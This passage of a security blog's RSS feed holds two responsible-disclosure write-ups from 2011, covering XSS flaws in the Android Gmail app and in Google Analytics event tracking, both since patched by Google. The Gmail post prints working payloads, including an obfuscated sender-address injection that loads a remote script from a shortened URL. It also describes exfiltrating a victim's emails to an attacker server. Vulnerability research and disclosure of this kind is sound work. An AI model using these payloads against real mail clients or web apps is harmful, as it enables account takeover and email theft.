		<description><![CDATA[This post documents an XSS vulnerability that I discovered in the default Gmail app (v1.3) provided by Google in Android 2.1 and prior. All versions included in Android up to and including 2.1 seem to be affected, but the bug was unintentionally patched in Froyo (2.2) when Google updated the application to v2.3. The vulnerability [...]]]></description>
			<content:encoded><![CDATA[<p>This post documents an XSS vulnerability that I discovered in the default Gmail app (v1.3) provided by Google in Android 2.1 and prior. All versions included in Android up to and including 2.1 seem to be affected, but the bug was unintentionally patched in Froyo (2.2) when Google updated the application to v2.3. The vulnerability let an attacker execute arbitrary Javascript in a local context on the phone, which made it possible to read the victim's emails (and the contacts mentioned in those emails) off of the phone, download certain files to phone (and open them), and more easily perform various other attacks that have previously been documented to take further control of the phone. Less seriously, it was also possible to crash the application repeatedly, resulting in a denial-of-service situation. The flaw has now been fixed via server-side patch to the Gmail API.</p>
<h2>Discovery</h2>
<p>During a night of drinking a couple months ago, I got into a discussion with my roommate (<a href="http://duststorm.org" target="_blank">his personal blog</a>, cause I promised) about what characters are valid in email addresses. Although many filters only allow [a-zA-Z0-9_-] plus maybe a few more as valid characters in the local-part of the address, I was convinced that I had previously seen email addresses that used characters outside of that character set, as well as filters that allowed for a wider range of characters. As I normally do during bouts of drinking, I immediately consulted the RFC to settle the dispute (<a href="http://tools.ietf.org/html/rfc5322" target="_blank">RFC 5322</a>). Sure enough, it is apparently allowed, but discouraged, under the RFC to have an email address in the following format: "i&lt;3whate\/er"@mydomain.com . As long as the quotation marks are present, it is technically a valid email address.</p>
<p>Seeing that this might trip up the ill-informed, I decided to see if Gmail handled this case correctly. I wrote up a quick test in Python and used one of the many open SMTP relays on campus (another rant for another time) to shoot an email at my Gmail account. While the main Gmail interface handled the problem with relative ease (there were some small pattern matching issues when replying), I was a little surprised to see something like the following when I opened the email on my phone:</p>
<div id="attachment_589" class="wp-caption aligncenter" style="width: 210px"><a href="http://spareclockcycles.org/wp-content/uploads/2011/01/android_xss_initial2.png"><img class="size-medium wp-image-589 " title="Android XSS Initial" src="http://spareclockcycles.org/wp-content/uploads/2011/01/android_xss_initial2-200x300.png" alt="Android XSS Initial" width="200" height="300" /></a><p class="wp-caption-text">Android XSS Initial</p></div>
<p>Clearly, there was an XSS vulnerability in the Gmail app. The root cause, upon further investigation, was that the application was using the raw source email address as an ID for the contact presence image (the online/offline icon). An honest mistake, given the extremely limited use of special characters in email addresses, but serious nonetheless. To see if the issue affected all versions of Android, I sent one to my roommate (who has Froyo), and one to my rather outdated emulator running Android 1.5. The flaw was present in 1.5, but Froyo's version was unaffected. I haven't tested on versions between 1.5 and 2.1, but I would assume that the bug has been present the entire time. To prove that I could indeed execute Javascript, I first tried sending an email with the following from address:</p>
<p><code>"&gt;&lt;script&gt;window.location='http://google.com'&lt;/script&gt;"@somedmn.com</code></p>
<p>However, this email got blocked by Gmail's spam filters. Although at first I thought that they might be aware of the vulnerability and had tried to mitigate it, it quickly became apparent that it was simply blocking all emails with "&lt;" in the from address. Weird, but not a show stopper. To get around this, I used the fact that the XSS was present in the image tag and abused the onload attribute for execution:</p>
<p><code>" onload=window.location='http://google.com'"@somedmn.com</code></p>
<p>Sure enough, the email got through, and when viewed, I ended up looking at Google!</p>
<div id="attachment_587" class="wp-caption aligncenter" style="width: 210px"><a href="http://spareclockcycles.org/wp-content/uploads/2011/01/android_xss_google.png"><img class="size-medium wp-image-587 " title="Android XSS Google" src="http://spareclockcycles.org/wp-content/uploads/2011/01/android_xss_google-200x300.png" alt="Android XSS Google" width="200" height="300" /></a><p class="wp-caption-text">Android XSS Google</p></div>
<h2>Exploitation</h2>
<p>While redirecting to Google is fun and all, doing anything more complicated required some work. Achieving arbitrary execution was somewhat of a small challenge, given that the email address is limited by the RFC to 254 characters in length, I could not use any "&lt;" symbols because of the Gmail filter, and, I could not use any quotation marks in the actual Javascript. To complicate matters, a simple document.write("&lt;script&gt;window.location='http://google.com'&lt;/script&gt;") didn't work in this situation. However, in spite of these things, I was able to throw together a payload that updates the DOM correctly and creates a script tag with a remote source, weighing in at ~225 characters with the domain attached.</p>
<p>Escaped:<br />
<code>" onload='var f=String.fromCharCode;var d=document;var s=d.createElement(f(83,67,82,73,80,84));s.src=f(47,47,66,73,84,46,76,89,47,105,51,51,72,100,86);d.getElementsByTagName(f(72,69,65,68))[0].appendChild(s);' "@somedmn.com</code></p>
<p>Unescaped:<br />
<code>" onload='var d=document;var s=d.createElement("SCRIPT");s.src="//BIT.LY/i33HdV";d.getElementsByTagName("HEAD")[0].appendChild(s);' "@somedmn.com</code></p>
<p>Of course, this is in all likelihood not the best way I could of done this, but it worked well. I'd love to see better solutions if people have them.</p>
<p>EDIT: Here's a much cleaner and simpler version, courtesy of R (<a title="Comments" href="http://spareclockcycles.org/2011/02/11/android-gmail-app-stealing-emails-via-xss/#comments" target="_self">see comments</a>). I especially liked the use of an attribute for storing the URL string.</p>
<p><code>" title='http://bit.ly/i33HdV' onload='d=document;(s=d.createElement(/script/.source)).src=this.title;d.getElementsByTagName(/head/.source)[0].appendChild(s)' "@somedmn.com</code></p>
<p>With this in place, I could now do some more interesting things. First, I dumped the page source so I could see better how exactly the application worked. The Gmail app is closed source and the page is dynamically generated in the Java code, so it was useful to get a dump of that . I also grabbed the Gmail apk and unzipped it, which gave me the Javascript API available to the application. I would provide this code, but I don't want to get into any copyright issues by distributing it here (it's pretty easy to get on your own, anyway). Finally, vaguely following Thomas Cannon's wonderful guide on <a href="http://thomascannon.net/projects/android-reversing/" target="_blank">Android reversing</a>, I decompiled the Java bytecode of the app to get a better idea of what I might be able to do.</p>
<p>Probably the easiest way to exploit this vulnerability would be simply to launch a phishing attack that redirects users to a fake mobile Gmail login page, in the hopes that they will happily log in to continue viewing their emails. However, this was not a particularly interesting or creative thing to do with the vulnerability, simple though it may be.</p>
<p>After reading through some of the code, the main attack that jumped out at me was to dump emails off the phone. Using some very simple Javascript, one could simply grab all the emails on the phone and submit them to a remote server. Doing things this way might not be practical in a real attack though, given the time it would take to gather every email on the device. A better technique is to utilize cross origin requests to send each email as it's being queried, meaning that an attacker will get the emails as soon as they're queried (<a title="Sample Code" href="http://spareclockcycles.org/downloads/code/android_xss_steal.js" target="_blank">naive demo code here</a>). To give the attacker more time to gather emails, one could run the dumping code while also doing something like periodically spamming the user with requests to add a contact, giving the attack precious time to collect more data.  Rather than dumping all the emails, though, a smarter use of this exploit would be to reset a user's password to another service, and then send an attack email soon afterwards. If the target opened it, we could simply grab the last 2 or 3 emails and easily gain access to the account we reset.</p>
<p>In addition to the email dumping, some other interesting functions caught my eye: download, preview, and showExternalResources. Although not used anywhere in the script.js file that I grabbed from the apk file, these methods were public in the decompiled Java API, meaning they could be called via Javascript in the window. Using these functions with the proper parameters, it was possible to download arbitrary files to the phone without permission, cause external resources to be rendered, and to automatically open various attached files (such as document files). Obviously, all of these would provide an easy vector for various attacks.</p>
<p>Beyond these more serious problems, it was also possible to do various odd things, like prompt the user to add a contact, set a label, open up a new email to a target of our choosing, or automatically open up a forward/reply message to an email. Overall though, the Javascript API in the app did a fairly good job at preventing abuse, at least when compared to platforms such as <a title="WebOS XSS Vulnerability" href="http://www.eweek.com/c/a/Security/Researchers-Find-Security-Flaws-in-Palm-Smartphone-webOS-759999/" target="_blank">WebOS</a>. I was unable in my tests to gain unrestricted access to sending permissions or further compromise data on the phone beyond the emails without using other vulnerabilities.</p>
<p>One must also keep in mind that beyond these vulnerability-specific threats, the flaw also allowed for much easier (and quieter) exploitation of other vulnerabilities that have been found by other researchers, including the <a title="Android Data-Stealing Bug" href="http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/" target="_blank">data-stealing bug</a> and various arbitrary code execution vulnerabilities in WebKit (like <a title="Android Webkit RCE" href="http://www.exploit-db.com/exploits/15548/">this</a>). It also allowed for the exploitation of any number of file format bugs that might have been found in the future. Exploiting any of these would be as easy as getting a user to open up an email. Worse, the user would have no idea until it was too late, as one could set the From header appropriately to make the email look legitimate (i.e., to something other than Test <img src='http://spareclockcycles.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ):</p>
<div id="attachment_597" class="wp-caption aligncenter" style="width: 210px"><a href="http://spareclockcycles.org/wp-content/uploads/2011/01/android_xss_inbox2.png"><img class="size-medium wp-image-597" title="Android XSS Inbox" src="http://spareclockcycles.org/wp-content/uploads/2011/01/android_xss_inbox2-200x300.png" alt="Android XSS Inbox" width="200" height="300" /></a><p class="wp-caption-text">Android XSS Inbox</p></div>
<p>And yes, that email executes arbitrary Javascript (shown here trying to add the user "Test;--" to the contact list):</p>
<div id="attachment_598" class="wp-caption aligncenter" style="width: 210px"><a href="http://spareclockcycles.org/wp-content/uploads/2011/01/android_xss_add_contact.png"><img class="size-medium wp-image-598" title="Android XSS Add Contact" src="http://spareclockcycles.org/wp-content/uploads/2011/01/android_xss_add_contact-200x300.png" alt="Android XSS Add Contact" width="200" height="300" /></a><p class="wp-caption-text">Android XSS Add Contact</p></div>
<h2>Disclosure</h2>
<p>I found the bug on 12/3/2010, and I contacted Google about 24 hours after I discovered it and confirmed it was exploitable. I received a quick initial response, but patching of the vulnerability on the server side was not completed until 1/28/11, apparently because of decreased staffing levels over the holiday. The patch was applied server-side in the Gmail API, and works by converting the special characters into their corresponding HTML entities. The Google security people were, as in all my previous communications with them, polite and professional, and I want to thank them for addressing the issue in a reasonable timeframe.</p>
<p>Overall, it was a pretty interesting vulnerability, and it was a good opportunity for me to learn a little more about Android. I had a good time familiarizing myself with the platform, and hopefully I will be able to do some more interesting things with it in the future. It has also definitely made me think twice before I open emails on my phone, which is probably for the best. Hopefully once these platforms become more mature, we won't see as many of these simple but serious vulnerabilities. However, if the maturation process we've observed in other security domains is any indication, I wouldn't hold your breath. It's going to take time.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=YqxQBWbusis:HX4G_Y7UjQo:-BTjWOF_DHI"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?i=YqxQBWbusis:HX4G_Y7UjQo:-BTjWOF_DHI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=YqxQBWbusis:HX4G_Y7UjQo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=YqxQBWbusis:HX4G_Y7UjQo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=yIl2AUoC8zA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/spareclockcycles/~4/YqxQBWbusis" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://spareclockcycles.org/2011/02/11/android-gmail-app-stealing-emails-via-xss/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		<feedburner:origLink>http://spareclockcycles.org/2011/02/11/android-gmail-app-stealing-emails-via-xss/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=android-gmail-app-stealing-emails-via-xss</feedburner:origLink></item>
		<item>
		<title>Google Analytics XSS Vulnerability</title>
		<link>http://feedproxy.google.com/~r/spareclockcycles/~3/5kIwlQu4LW8/</link>
		<comments>http://spareclockcycles.org/2011/02/03/google-analytics-xss-vulnerability/#comments</comments>
		<pubDate>Fri, 04 Feb 2011 01:21:55 +0000</pubDate>
		<dc:creator>supernothing</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[google analytics]]></category>
		<category><![CDATA[google reward program]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://spareclockcycles.org/?p=602</guid>
		<description><![CDATA[This post documents an XSS vulnerability I discovered in the event tracking functionality provided by Google Analytics. Given a website's Google account number (which can be found in the site source), one could spoof specially crafted events that, when clicked in the administrative interface, would run arbitrary Javascript in the victim's browser. This would allow [...]]]></description>
			<content:encoded><![CDATA[<p>This post documents an XSS vulnerability I discovered in the event tracking functionality provided by Google Analytics. Given a website's Google account number (which can be found in the site source), one could spoof specially crafted events that, when clicked in the administrative interface, would run arbitrary Javascript in the victim's browser. This would allow an attacker to, among other things, hijack the account. Although it did not affect as many users as the <a title="Gmail XSS Vulnerability" href="http://spareclockcycles.org/2010/12/14/gmail-google-chrome-xss-vulnerability/" target="_blank">Gmail XSS vulnerability</a> did, it posed a significant risk to many site administrators, who are prime targets for attack.</p>
<h3>Vulnerability Discovery</h3>
<p>Back when I <a title="d0z.me Release" href="http://spareclockcycles.org/2010/12/19/d0z-me-the-evil-url-shortener/" target="_blank">released d0z.me</a>, I realized that I had never set up <a title="Event Tracking API" href="http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html" target="_blank">event tracking</a> for tarball downloads on my site. While getting this configured, I got curious as to how well Google sanitized the incoming data, given that a malicious user could arbitrarily define what events would be sent and then presented to an administrator. I wrote up some <a title="Analytics XSS PoC" href="http://spareclockcycles.org/downloads/code/analytics_xss.js" target="_blank">incredibly simple Javascript</a> that would send an XSS testing string in the various fields provided by the event tracking API. After waiting a few minutes for it to update in the Analytics interface, I inspected the results.</p>
<p>Sure enough, while double quotes and tag characters were escaped in the corresponding link, single quotes were not. This would have been OK (the rest of their js code uses double quotes religiously for strings), but their use of Javascript link handlers and the need to pass an array of strings made the problem exploitable:</p>
<p>Good:<br />
<code>href="event_object_detail?id=XXXXXXX&amp;pdr=XXXXX-XXXX" onclick="whatever_needs_doing()"</code></p>
<p>Bad:<br />
<code>href="javascript:analytics.PropertyManager._getInstance()._broadcastChange('events_bar_detail', ['type', 'location'+alert('xss')+'', 'event_action'])"</code></p>
<p>Interestingly, the Top Events section of the Event Handling page seems to be the only place in the Analytics admin interface where Javascript is called like this, which might have been part of the reason the vulnerability existed. It also did not overtly break the page, which might have kept testers from noticing. Getting into the Top Events section is trivial, as one only has to loop the Javascript as much as desired.</p>
<p>In Action:</p>
<div id="attachment_605" class="wp-caption aligncenter" style="width: 310px"><a href="http://spareclockcycles.org/wp-content/uploads/2011/02/analytics_xss_clean.png"><img class="size-medium wp-image-605" title="analytics_xss_clean" src="http://spareclockcycles.org/wp-content/uploads/2011/02/analytics_xss_clean-300x148.png" alt="Analytics XSS Demo" width="300" height="148" /></a><p class="wp-caption-text">Analytics XSS Demo</p></div>
<p>Note that the malicious nature of the link is only obvious for demonstration reasons. Simply putting a legitimate URL in front of the malicious payload would hide it from the user.</p>
<h3>Disclosure</h3>
<p>I contacted Google regarding the vulnerability on January 5th, with relevant PoC code. They replied on the 6th, confirming the vulnerability, and confirmed that a patch had been written and was being tested on the 12th. On February 3rd, they confirmed their testing was complete, and that the patch was in place. I confirmed with my own tests, and then publicly disclosed. In addition, I was awarded $1000 for the report. Not bad for a little bit of Javascript and poking around. <img src='http://spareclockcycles.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<h3>Unrelated Blather</h3>
<p>To those wondering where I've been the past month or so, I have been busy IRL getting set up at grad school among many things. As this blog is mainly to document the research and such that I am doing, the amount I post is directly related to the time I have to mess with things. I promise, updates to <a title="d0z.me" href="http://d0z.me" target="_blank">d0z.me</a> soon, as well as my first Android vulnerability (yay!), and then whatever I feel like posting on after that. It's good to be back!</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=5kIwlQu4LW8:d8cvgEAUtF8:-BTjWOF_DHI"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?i=5kIwlQu4LW8:d8cvgEAUtF8:-BTjWOF_DHI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=5kIwlQu4LW8:d8cvgEAUtF8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=5kIwlQu4LW8:d8cvgEAUtF8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=yIl2AUoC8zA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/spareclockcycles/~4/5kIwlQu4LW8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://spareclockcycles.org/2011/02/03/google-analytics-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		<feedburner:origLink>http://spareclockcycles.org/2011/02/03/google-analytics-xss-vulnerability/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=google-analytics-xss-vulnerability</feedburner:origLink></item>
	</channel>
</rss><!-- Dynamic page generated in 0.658 seconds. --><!-- Cached page generated by WP-Super-Cache on 2012-04-08 13:58:21 -->

